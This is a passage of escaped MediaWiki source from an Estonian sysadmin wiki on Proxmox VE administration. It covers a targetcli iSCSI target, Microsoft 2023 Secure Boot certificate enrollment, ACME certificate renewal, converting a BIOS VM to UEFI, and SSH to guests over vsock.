hw_pi_prot_type=0 [ro]&lt;br /&gt;
hw_queue_depth=128 [ro]&lt;br /&gt;
is_nonrot=1&lt;br /&gt;
max_unmap_block_desc_count=1&lt;br /&gt;
max_unmap_lba_count=131072&lt;br /&gt;
max_write_same_len=65535&lt;br /&gt;
optimal_sectors=32768&lt;br /&gt;
pgr_support=1&lt;br /&gt;
pi_prot_format=0&lt;br /&gt;
pi_prot_type=0&lt;br /&gt;
pi_prot_verify=0&lt;br /&gt;
queue_depth=128&lt;br /&gt;
submit_type=0&lt;br /&gt;
unmap_granularity=8&lt;br /&gt;
unmap_granularity_alignment=0&lt;br /&gt;
unmap_zeroes_data=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Muudatuse tegemine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/backstores/b...108613-disk-4&amp;gt; set attribute emulate_tpws=0&lt;br /&gt;
/backstores/b...108613-disk-4&amp;gt; set attribute emulate_tpu=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# targetcli&lt;br /&gt;
targetcli shell version 2.1.53&lt;br /&gt;
Copyright 2011-2013 by Datera, Inc and others.&lt;br /&gt;
For help on commands, type 'help'.&lt;br /&gt;
&lt;br /&gt;
/&amp;gt; ls&lt;br /&gt;
o- / ......................................................................................................................... [...]&lt;br /&gt;
  o- backstores .............................................................................................................. [...]&lt;br /&gt;
  | o- block .................................................................................................. [Storage Objects: 3]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-100-disk-0 ......................... [/dev/zp_crucial_mx_4/vm-100-disk-0 (20.0GiB) write-thru activated]&lt;br /&gt;
  | | | o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | | |   o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-106-disk-5 ......................... [/dev/zp_crucial_mx_4/vm-106-disk-5 (16.0GiB) write-thru activated]&lt;br /&gt;
  | | | o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | | |   o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-108613-disk-1 .................... [/dev/zp_crucial_mx_4/vm-108613-disk-1 (4.0GiB) write-thru activated]&lt;br /&gt;
  | |   o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | |     o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | o- fileio ................................................................................................. [Storage Objects: 0]&lt;br /&gt;
  | o- pscsi .................................................................................................. [Storage Objects: 0]&lt;br /&gt;
  | o- ramdisk ................................................................................................ [Storage Objects: 0]&lt;br /&gt;
  o- iscsi ............................................................................................................ [Targets: 1]&lt;br /&gt;
  | o- iqn.2025-10.moraal.srv:storage.zfstarget .......................................................................... [TPGs: 1]&lt;br /&gt;
  |   o- tpg1 ............................................................................................... [no-gen-acls, no-auth]&lt;br /&gt;
  |     o- acls .......................................................................................................... [ACLs: 1]&lt;br /&gt;
  |     | o- iqn.1993-08.org.debian:01:4cbe32bd26b ................................................................ [Mapped LUNs: 3]&lt;br /&gt;
  |     |   o- mapped_lun0 ...................................................... [lun0 block/zp_crucial_mx_4-vm-108613-disk-1 (rw)]&lt;br /&gt;
  |     |   o- mapped_lun1 ......................................................... [lun1 block/zp_crucial_mx_4-vm-106-disk-5 (rw)]&lt;br /&gt;
  |     |   o- mapped_lun2 ......................................................... [lun2 block/zp_crucial_mx_4-vm-100-disk-0 (rw)]&lt;br /&gt;
  |     o- luns .......................................................................................................... [LUNs: 3]&lt;br /&gt;
  |     | o- lun0 .............. [block/zp_crucial_mx_4-vm-108613-disk-1 (/dev/zp_crucial_mx_4/vm-108613-disk-1) (default_tg_pt_gp)]&lt;br /&gt;
  |     | o- lun1 .................... [block/zp_crucial_mx_4-vm-106-disk-5 (/dev/zp_crucial_mx_4/vm-106-disk-5) (default_tg_pt_gp)]&lt;br /&gt;
  |     | o- lun2 .................... [block/zp_crucial_mx_4-vm-100-disk-0 (/dev/zp_crucial_mx_4/vm-100-disk-0) (default_tg_pt_gp)]&lt;br /&gt;
  |     o- portals .................................................................................................... [Portals: 1]&lt;br /&gt;
  |       o- 0.0.0.0:3260 ..................................................................................................... [OK]&lt;br /&gt;
  o- loopback ......................................................................................................... [Targets: 0]&lt;br /&gt;
  o- srpt ............................................................................................................. [Targets: 0]&lt;br /&gt;
  o- vhost ............................................................................................................ [Targets: 0]&lt;br /&gt;
  o- xen-pvscsi ....................................................................................................... [Targets: 0]&lt;br /&gt;
/&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks saab portaali käest küsida attribute ja parameter komplekte, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pm60-trt:~# targetcli /iscsi/iqn.2022-09.ee.moraal:pbs-pub/tpg1 get parameter | grep =&lt;br /&gt;
======================&lt;br /&gt;
AuthMethod=CHAP&lt;br /&gt;
DataDigest=CRC32C,None&lt;br /&gt;
DataPDUInOrder=Yes&lt;br /&gt;
DataSequenceInOrder=Yes&lt;br /&gt;
DefaultTime2Retain=20&lt;br /&gt;
DefaultTime2Wait=2&lt;br /&gt;
ErrorRecoveryLevel=0&lt;br /&gt;
FirstBurstLength=65536&lt;br /&gt;
HeaderDigest=CRC32C,None&lt;br /&gt;
IFMarkInt=Reject&lt;br /&gt;
IFMarker=No&lt;br /&gt;
ImmediateData=Yes&lt;br /&gt;
InitialR2T=Yes&lt;br /&gt;
MaxBurstLength=262144&lt;br /&gt;
MaxConnections=1&lt;br /&gt;
MaxOutstandingR2T=1&lt;br /&gt;
MaxRecvDataSegmentLength=8192&lt;br /&gt;
MaxXmitDataSegmentLength=262144&lt;br /&gt;
OFMarkInt=Reject&lt;br /&gt;
OFMarker=No&lt;br /&gt;
TargetAlias=LIO Target&lt;br /&gt;
&lt;br /&gt;
root@pm60-trt:~# targetcli /iscsi/iqn.2022-09.ee.moraal:pbs-pub/tpg1 get attribute | grep =&lt;br /&gt;
======================&lt;br /&gt;
authentication=1&lt;br /&gt;
cache_dynamic_acls=0&lt;br /&gt;
default_cmdsn_depth=64&lt;br /&gt;
default_erl=0&lt;br /&gt;
demo_mode_discovery=1&lt;br /&gt;
demo_mode_write_protect=1&lt;br /&gt;
fabric_prot_type=0&lt;br /&gt;
generate_node_acls=0&lt;br /&gt;
login_keys_workaround=1&lt;br /&gt;
login_timeout=15&lt;br /&gt;
prod_mode_write_protect=0&lt;br /&gt;
t10_pi=0&lt;br /&gt;
tpg_enabled_sendtargets=1&lt;br /&gt;
root@pm60-trt:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* parameter - võrgus kõneldavad asjad&lt;br /&gt;
* attribute - lokaalselt olukorda määratlevad asjad&lt;br /&gt;
&lt;br /&gt;
====iscsi initiator====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====qemu protsess====&lt;br /&gt;
&lt;br /&gt;
Kasutamine&lt;br /&gt;
&lt;br /&gt;
[[Fail:20251019-remote-zfs-over-iscsi-01.png|600px]]&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Secure boot - nn Microsoft 2023 sertifikaat===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Olemasolev olukord enne muudatust====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-01:~# apt-get install efitools&lt;br /&gt;
root@pwrk-01:~# (printf &amp;quot;db: \n&amp;quot;; efi-readvar -v db; printf &amp;quot;\nKEK: \n&amp;quot;; efi-readvar -v KEK) | grep -E &amp;quot;2011|2023&amp;quot;&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Windows Production PCA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation UEFI CA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation KEK CA 2011&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Muudatus====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# qm enroll-efi-keys 902198&lt;br /&gt;
skipping - OS type is neither Windows 10 nor Windows 11&lt;br /&gt;
&lt;br /&gt;
root@pve-wrx90e:~# qm set 902198 --ostype win10&lt;br /&gt;
root@pve-wrx90e:~# qm enroll-efi-keys 902198&lt;br /&gt;
root@pve-wrx90e:~# qm set 902198 --ostype l26&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
from&lt;br /&gt;
&lt;br /&gt;
efidisk0: si-dpool:vm-902198-disk-0,efitype=4m,pre-enrolled-keys=1,size=1M&lt;br /&gt;
&lt;br /&gt;
to&lt;br /&gt;
&lt;br /&gt;
efidisk0: si-dpool:vm-902198-disk-0,efitype=4m,ms-cert=2023w,pre-enrolled-keys=1,size=1M&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Uus olukord peale muudatust====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# (printf &amp;quot;db: \n&amp;quot;; efi-readvar -v db; printf &amp;quot;\nKEK: \n&amp;quot;; efi-readvar -v KEK) | grep -E &amp;quot;2011|2023&amp;quot;&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Windows Production PCA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation UEFI CA 2011&lt;br /&gt;
            C=US, O=Microsoft Corporation, CN=Microsoft UEFI CA 2023&lt;br /&gt;
            C=US, O=Microsoft Corporation, CN=Windows UEFI CA 2023&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation KEK CA 2011&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====WebGUI abil====&lt;br /&gt;
&lt;br /&gt;
WebGUI abil vm sertifikaat muudatus&lt;br /&gt;
&lt;br /&gt;
 Disk Action -&amp;gt; Enroll Updated Certificates&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260611-pve-ms-cert-2023-01.png|700px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
====pveupdate====&lt;br /&gt;
&lt;br /&gt;
* uuendab webgui liidese sertifikaadi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# pveupdate&lt;br /&gt;
Loading ACME account details&lt;br /&gt;
Placing ACME order&lt;br /&gt;
Order URL: https://acme-v02.api.letsencrypt.org/acme/order/2232348225/504476182801&lt;br /&gt;
&lt;br /&gt;
Getting authorization details from 'https://acme-v02.api.letsencrypt.org/acme/authz/2232348225/694056506271'&lt;br /&gt;
The validation for pve-wrx90e.auul.pri.ee is pending!&lt;br /&gt;
Setting up webserver&lt;br /&gt;
Triggering validation&lt;br /&gt;
Sleeping for 5 seconds&lt;br /&gt;
Status is 'valid', domain 'pve-wrx90e.auul.pri.ee' OK!&lt;br /&gt;
&lt;br /&gt;
All domains validated!&lt;br /&gt;
&lt;br /&gt;
Creating CSR&lt;br /&gt;
Checking order status&lt;br /&gt;
Order is ready, finalizing order&lt;br /&gt;
valid!&lt;br /&gt;
&lt;br /&gt;
Downloading certificate&lt;br /&gt;
Setting pveproxy certificate and key&lt;br /&gt;
Restarting pveproxy&lt;br /&gt;
Revoking old certificate&lt;br /&gt;
Revoke request to CA failed: Error: POST to https://acme-v02.api.letsencrypt.org/acme/revoke-cert&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;type&amp;quot;: &amp;quot;urn:ietf:params:acme:error:unauthorized&amp;quot;,&lt;br /&gt;
  &amp;quot;detail&amp;quot;: &amp;quot;Unable to revoke :: Certificate is expired&amp;quot;,&lt;br /&gt;
  &amp;quot;status&amp;quot;: 403&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====pveupgrade====&lt;br /&gt;
&lt;br /&gt;
* uuendab süsteemi apt paketihaldusega tarkvara&lt;br /&gt;
&lt;br /&gt;
===BIOS arvuti teisendamine UEFI arvutiks===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Peamised kaalutlused BIOS arvuti teisendamisel UEFI arvutiks&lt;br /&gt;
&lt;br /&gt;
* vajadus saada osa secure boot lahendusega kaasnevast turvalisusest&lt;br /&gt;
* nö täieline reinstall oleks liiga aeganõudev, kohmakas jne&lt;br /&gt;
&lt;br /&gt;
Muudatus seisneb virtuaalsele arvutile täiendava nö esimese plokkseadme lisamisel, suurusega 1 G. Sinna moodustatakse gpt partitsioonitabel ning vfat failisüsteem, ja ta vastab nö kataloogile /boot/efi, sinna ta ka monteeritakse kokkuvõttes. Juurfailisüsteem ja muu jääb sinna kus ta seni on olnud. Oluline on, et muudatuse käigus ei muudeta olemasoleva plokkseadme partitsioonitabelit ega lvm vms, st ebaõnnestumisel saab pöörduda tagasi kergesti (varundus peaks aga siiski olema olemas).&lt;br /&gt;
&lt;br /&gt;
====Muudatuse protseduur====&lt;br /&gt;
&lt;br /&gt;
Enne muudatust paistab virtuaalne arvuti selline&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-01.png|700px]]&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# df -T -h -t ext4&lt;br /&gt;
Failisüsteem                      Tüüp  Maht Kasut  Vaba Kas% Haagitud&lt;br /&gt;
/dev/mapper/system-root           ext4   11G  8,2G  2,2G  80% /&lt;br /&gt;
/dev/vda1                         ext4  462M  325M  109M  75% /boot&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisatakse töötavale arvutile 1 g plokkseade&lt;br /&gt;
&lt;br /&gt;
 Hardware -&amp;gt; Add disk -&amp;gt; ...&lt;br /&gt;
&lt;br /&gt;
Veendutakse, mis on konkreetsel juhtumil 1 g lisatud plokkseadme nimi, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# fdisk /dev/vdb -l&lt;br /&gt;
Disk /dev/vdb: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
edasi käsundamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install parted&lt;br /&gt;
&lt;br /&gt;
# parted /dev/vdb mklabel gpt&lt;br /&gt;
# parted /dev/vdb mkpart primary fat32 1MiB 100%&lt;br /&gt;
# parted /dev/vdb set 1 esp on&lt;br /&gt;
# mkfs.vfat -F 32 /dev/vdb1&lt;br /&gt;
# mkdir -p /boot/efi&lt;br /&gt;
# blkid /dev/vdb1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muuta /etc/fstab faili, st lisada üks rida olemaoleva /boot rea alla, uuid on mitte partitsiooni, aga vfat failisüsteemi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/fstab&lt;br /&gt;
..&lt;br /&gt;
UUID=XXXX-XXXX  /boot/efi       vfat    defaults        0       2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisada paketid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl daemon-reload&lt;br /&gt;
# mount /boot/efi&lt;br /&gt;
# apt update&lt;br /&gt;
# apt install grub-efi-amd64-signed shim-signed mokutil&lt;br /&gt;
# grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=debian --removable&lt;br /&gt;
# update-grub&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# find /boot/efi/ -type f -ls&lt;br /&gt;
      115    932 -rwxr-xr-x   1 root     root       952384 mai   17 12:00 /boot/efi/EFI/BOOT/BOOTX64.EFI&lt;br /&gt;
      116   2624 -rwxr-xr-x   1 root     root      2685544 mai   17 12:00 /boot/efi/EFI/BOOT/grubx64.efi&lt;br /&gt;
      117    832 -rwxr-xr-x   1 root     root       851368 mai   17 12:00 /boot/efi/EFI/BOOT/mmx64.efi&lt;br /&gt;
      118      4 -rwxr-xr-x   1 root     root          112 mai   17 12:00 /boot/efi/EFI/BOOT/BOOTX64.CSV&lt;br /&gt;
      119      4 -rwxr-xr-x   1 root     root          112 mai   17 12:00 /boot/efi/EFI/BOOT/grub.cfg&lt;br /&gt;
&lt;br /&gt;
# cat /boot/efi/EFI/BOOT/grub.cfg&lt;br /&gt;
search.fs_uuid 5ebbc6f0-69e8-413b-bb4f-4ec0fa5d2fc1 root&lt;br /&gt;
set prefix=($root)'/grub'&lt;br /&gt;
configfile $prefix/grub.cfg&lt;br /&gt;
&lt;br /&gt;
# blkid /dev/vda1&lt;br /&gt;
/dev/vda1: UUID=&amp;quot;5ebbc6f0-69e8-413b-bb4f-4ec0fa5d2fc1&amp;quot; BLOCK_SIZE=&amp;quot;1024&amp;quot; TYPE=&amp;quot;ext4&amp;quot; PARTUUID=&amp;quot;cfa36d3a-01&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Õeldakse virtuaalsele arvutile poweroff ja muudetakse seadistusi&lt;br /&gt;
&lt;br /&gt;
* lisatakse 'EFI Disk' (virtuaalne efi riistvara seadistuste salvestamine jms)&lt;br /&gt;
* muudetakse bios -&amp;gt; uefi&lt;br /&gt;
* muudetakse chipset i440fx -&amp;gt; q35&lt;br /&gt;
* muudetakse display default -&amp;gt; virtio-gpu&lt;br /&gt;
&lt;br /&gt;
Peale muudatust paistab virtuaalne arvuti selline&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-02.png|700px]]&lt;br /&gt;
&lt;br /&gt;
Lisaks on boot järjekorra seadmed muudetud&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-03.png|700px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tingimata vajalik on virtio1 ja virtio0 - esimesel on bootload ja grub.cfg lühike konf, teisel on konfi sisuline osa&lt;br /&gt;
&lt;br /&gt;
Tulemusena töötab arvuti uefi secure boot režiimis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# mokutil --sb-state&lt;br /&gt;
SecureBoot enabled&lt;br /&gt;
&lt;br /&gt;
# df -t vfat -t ext4 -T -h&lt;br /&gt;
Failisüsteem                      Tüüp  Maht Kasut  Vaba Kas% Haagitud&lt;br /&gt;
/dev/mapper/system-root           ext4   11G  8,2G  2,2G  80% /&lt;br /&gt;
/dev/vda1                         ext4  462M  325M  109M  75% /boot&lt;br /&gt;
/dev/vdb1                         vfat 1020M  8,7M 1012M   1% /boot/efi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kõige lõpus võiks veel öelda, nii tekivad nö naturaalsed efibootmgr ja /boot/efi sissekanded nagu nad oleks seal nö sündinud-uefi'na arvutil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# efibootmgr&lt;br /&gt;
BootCurrent: 0002&lt;br /&gt;
Timeout: 3 seconds&lt;br /&gt;
BootOrder: 0002,0003,0000,0001&lt;br /&gt;
Boot0000* BootManagerMenuApp	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(eec25bdc-67f2-4d95-b1d5-f81b2039d11d)&lt;br /&gt;
Boot0001* EFI Firmware Setup	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(462caa21-7614-4503-836e-8ab6f4662331)&lt;br /&gt;
Boot0002* UEFI Misc Device	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xb,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0003* UEFI Misc Device 2	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xa,0x0){auto_created_boot_option}&lt;br /&gt;
&lt;br /&gt;
# grub-install /dev/vdb&lt;br /&gt;
Installing for x86_64-efi platform.&lt;br /&gt;
Installation finished. No error reported.&lt;br /&gt;
&lt;br /&gt;
# efibootmgr&lt;br /&gt;
BootCurrent: 0002&lt;br /&gt;
Timeout: 3 seconds&lt;br /&gt;
BootOrder: 0004,0002,0003,0000,0001&lt;br /&gt;
Boot0000* BootManagerMenuApp	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(eec25bdc-67f2-4d95-b1d5-f81b2039d11d)&lt;br /&gt;
Boot0001* EFI Firmware Setup	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(462caa21-7614-4503-836e-8ab6f4662331)&lt;br /&gt;
Boot0002* UEFI Misc Device	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xb,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0003* UEFI Misc Device 2	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xa,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0004* debian	HD(1,GPT,0fb8cfd1-c90b-4da2-97db-ceda14464a90,0x800,0x1ff000)/File(\EFI\proxmox\shimx64.efi)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Boot Order märkused====&lt;br /&gt;
&lt;br /&gt;
PVE webgui Boot Order määrab kaks&lt;br /&gt;
&lt;br /&gt;
* millised plokkseadmed osalevad uefi faasis&lt;br /&gt;
* millised järjekorras plokkseadmed osalevad uefi faasis alglaadimisel&lt;br /&gt;
&lt;br /&gt;
Kui on linnutatud ainult üks seade&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-05.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Kui on linnutatud ainult kaks seadet&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-04.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Antud juhul on see väga oluline kuna grub alglaadur on kahel seadmel laiali&lt;br /&gt;
&lt;br /&gt;
* grub.efi rakendus asub /dev/vdb&lt;br /&gt;
* grub.conf seadistus asub /dev/vda&lt;br /&gt;
&lt;br /&gt;
Kui Boot Order on linnutatud vaid /dev/vda, siis peatub arvuti käivitumine 'grub&amp;gt;' prompt juures. Selles mõttes võiks olla PVE webgui osakonna nimeks nt 'UEFI device visibility and Boot Order'.&lt;br /&gt;
&lt;br /&gt;
===Üle vsock ssh kasutamine - Ubuntu 26.04 ja Debian v. 13===&lt;br /&gt;
&lt;br /&gt;
Osutub, et uuemal ajal, st PVE v. 9, Debian v. 13 virtuaalne avuti on võimalik PVE host pealt pöörduda guest poole üle ssh kasutades vsock protokolli (mitte tavalist tcp/ip protokollil põhinevat võrku). Selleks tuleb virtuaalsele arvutile lisada PVE platvormi poolt vsock tugi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# head -n 1 /etc/pve/qemu-server/50056.conf&lt;br /&gt;
args: -device vhost-vsock-pci,guest-cid=50056&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja virtuaalsel arvutil peab olema tarkvaraline vsock tugi. Nt Debian v. 13 puhul on sshd serverisse see integreeritud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# systemctl | grep ssh&lt;br /&gt;
  ssh.service                                                                                           loaded active running   OpenBSD Secure Shell server&lt;br /&gt;
  sshd@2-50056:22-2:3327097365.service                                                                  loaded active running   OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097364)&lt;br /&gt;
  system-sshd.slice                                                                                     loaded active active    Slice /system/sshd&lt;br /&gt;
  sshd-unix-local.socket                                                                                loaded active listening OpenSSH Server Socket (systemd-ssh-generator, AF_UNIX Local)&lt;br /&gt;
  sshd-vsock.socket                                                                                     loaded active listening OpenSSH Server Socket (systemd-ssh-generator, AF_VSOCK)&lt;br /&gt;
  ssh-access.target                                                                                     loaded active active    SSH Access Available&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd-ssh-generator on selline süsteem, mis käigult avastab süsteemi võimekusi ja vastavalt seadistab teenustele omadusi (nt ssh puhul lülitatakse sisse vsock tugi)&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# systemctl status sshd@2-50056:22-2:3327097365.service&lt;br /&gt;
● sshd@2-50056:22-2:3327097365.service - OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097365)&lt;br /&gt;
     Loaded: loaded (/usr/lib/systemd/system/sshd@.service; static)&lt;br /&gt;
     Active: active (running) since Mon 2026-06-01 00:04:39 EEST; 16s ago&lt;br /&gt;
 Invocation: 84acdad56690460e8e0fbffd2ecd4d69&lt;br /&gt;
TriggeredBy: ● sshd-vsock.socket&lt;br /&gt;
       Docs: man:sshd(8)&lt;br /&gt;
             man:sshd_config(5)&lt;br /&gt;
   Main PID: 876 (sshd-session)&lt;br /&gt;
      Tasks: 1 (limit: 6978)&lt;br /&gt;
     Memory: 1.8M (peak: 3.9M)&lt;br /&gt;
        CPU: 27ms&lt;br /&gt;
     CGroup: /system.slice/system-sshd.slice/sshd@2-50056:22-2:3327097365.service&lt;br /&gt;
             ‣ 876 &amp;quot;sshd-session: root [priv]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Jun 01 00:04:39 unifi-oss systemd[1]: Started sshd@2-50056:22-2:3327097365.service - OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097365).&lt;br /&gt;
Jun 01 00:04:40 unifi-oss sshd-session[876]: Accepted publickey for root from UNKNOWN port 65535 ssh2: ED25519 SHA256:3cj7QCk4leNOSQJlfeUeHr6YfsA0r3bRUqZS9Rey3jM&lt;br /&gt;
Jun 01 00:04:40 unifi-oss sshd-session[876]: pam_unix(sshd:session): session opened for user root(uid=0) by root(uid=0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* triggered by 'sshd-vsock.socket'&lt;br /&gt;
&lt;br /&gt;
ssh kliendi st pve host poolel peab olema teadmine, kuidas käituda kui üritatakse kasutada vsock protokolli üle sshd serverit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# cat /lib/systemd/ssh_config.d/20-systemd-ssh-proxy.conf&lt;br /&gt;
# SPDX-License-Identifier: LGPL-2.1-or-later&lt;br /&gt;
#&lt;br /&gt;
# Allow connecting to the local host directly via &amp;quot;.host&amp;quot;&lt;br /&gt;
Host .host machine/.host&lt;br /&gt;
        ProxyCommand /usr/lib/systemd/systemd-ssh-proxy unix/run/ssh-unix-local/socket %p&lt;br /&gt;
        ProxyUseFdpass yes&lt;br /&gt;
        CheckHostIP no&lt;br /&gt;
&lt;br /&gt;
# Make sure unix/* and vsock/* can be used to connect to AF_UNIX and AF_VSOCK paths.&lt;br /&gt;
# Make sure machine/* can be used to connect to local machines registered in machined.&lt;br /&gt;
#&lt;br /&gt;
Host unix/* vsock/* machine/*&lt;br /&gt;
        ProxyCommand /usr/lib/systemd/systemd-ssh-proxy %h %p&lt;br /&gt;
        ProxyUseFdpass yes&lt;br /&gt;
        CheckHostIP no&lt;br /&gt;
&lt;br /&gt;
        # Disable all kinds of host identity checks, since these addresses are generally ephemeral.&lt;br /&gt;
        StrictHostKeyChecking no&lt;br /&gt;
        UserKnownHostsFile /dev/null&lt;br /&gt;
